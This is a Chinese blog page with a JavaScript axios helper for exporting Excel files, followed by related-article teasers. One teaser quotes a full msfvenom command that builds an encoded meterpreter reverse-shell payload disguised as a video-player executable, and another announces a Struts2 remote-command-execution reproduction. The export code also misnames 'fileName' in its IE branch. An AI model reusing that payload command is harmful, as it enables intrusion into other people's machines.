axios请求、 Excel 表格导出

news/2024/7/21 3:48:04 标签: excel, javascript, 前端
javascript">import axios  from 'axios';

//用于导出excel表格
export const exportExcel = ({ method = 'get', url, data = {}, fileName }) => {
    const field = method === 'get' ? 'params' : 'data';
    axios({
        method,
        url,
        [field]: data,
        responseType: 'blob'
    })
        .then((res) => {
            //导出接口失败 返回的也是blob type为application/json
            if (res.data?.type === 'application/json') throw new Error();

            const blob = new Blob([res.data], {
                type: 'application/vnd.ms-excel'
            });
            if ('download' in document.createElement('a')) {
                // 非IE浏览器下载
                // 创建a标签
                const link = document.createElement('a');
                // 规定下载的超链接
                link.setAttribute('download', `${fileName}.xls`);
                // 未点击前隐藏a链接
                link.style.display = 'none';
                // 创建URL对象,指向该文件url
                link.href = URL.createObjectURL(blob);
                // 将a标签添加到dom中
                document.body.append(link);
                // 触发a标签点击事件
                link.click();
                // 释放之前的URL对象
                URL.revokeObjectURL(link.href);
                // 从dom中移除该a链接
                document.body.removeChild(link);
            } else {
                // IE10+ 下载
                navigator.msSaveBlob(blob, filename);
            }
            console.log('导出成功');
        })
        .catch(() => {
            console.log('导出失败');
        });
};

注:基于axios 直接请求后端接口,导出Excel 表格


http://www.niftyadmin.cn/n/475185.html

相关文章

配置了git config --global credential.helper store后,还是弹出输入密码框

使用http协议拉取代码时,每次pull/push都会弹出账号密码框,可以使用git的配置credential.helper来保存每次输入的账号密码到硬盘上,命令git config --global credential.helper store,store表示存到硬盘中,但是按照这样操作后git pull还是弹出密码框,通过git config --list发现…

Ubuntu设置不用root权限执行docker

背景:在 vscode 中使用 docker 插件时发现连不上 docker 中的容器,原因是 vscode 没有root权限,因此需要当前用户不使用 root 权限就能运行 docker。 不使用 root 权限运行 docker lilabws01lilabws01:~$ docker images permission denied …

漏洞复现 飞视美 视频会议系统 Struts2 远程命令执行漏洞

0x01 阅读须知 此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失&…

嵌入式软件测试笔记7 | 嵌入式软件测试中基于风险的测试策略如何开展?

7 | 嵌入式软件测试中基于风险的测试策略如何开展? 1 风险评估1.1 分析风险1.2 如何估计故障几率?1.3 导致故障几率较高的因素1.4 估计可能的损失1.5 风险评估的来源1.6 风险的处理 2 主测试计划中的策略2.1 目标2.2 制定策略的步骤2.3 选择质量特性2.4 …

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

【Docker】Docker Desktop更换非C盘符(减轻占用率)

Win10中的Docker Desktop调整到其他盘符,由于新版本已经不让修改软连接了,只好另谋策略,最终还是改成功了。 出现问题 使用软连接修改 上面代码我们可以科幻的理解一下 幻想破灭 //TODO 用户点击执行安装 if(检查文件夹是否软连接){有则&a…

8.11 TCP链接管理与UDP协议

目录 TCP的链接管理 TCP包头 连接的建立——”三次握手” 连接的释放——“四次挥手” 保活计时器 UDP协议 计算机网络体系结构 UDP协议 UDP的主要特点 UDP是面向报文的 TCP的链接管理 TCP包头 连接的建立——”三次握手” TCP 建立连接的过程叫做握手。 采用三报文…

HarmonyOS学习路之开发篇—AI功能开发(助手类意图识别)

助手类意图识别概述 随着人机交互越来越普遍,设备需要理解用户下达的各种指令,方便用户的操作。助手类意图识别能够利用机器学习技术,对用户发送给设备的文本消息进行语义分析和意图识别,进而衍生出各种智能的应用场景&#xff0…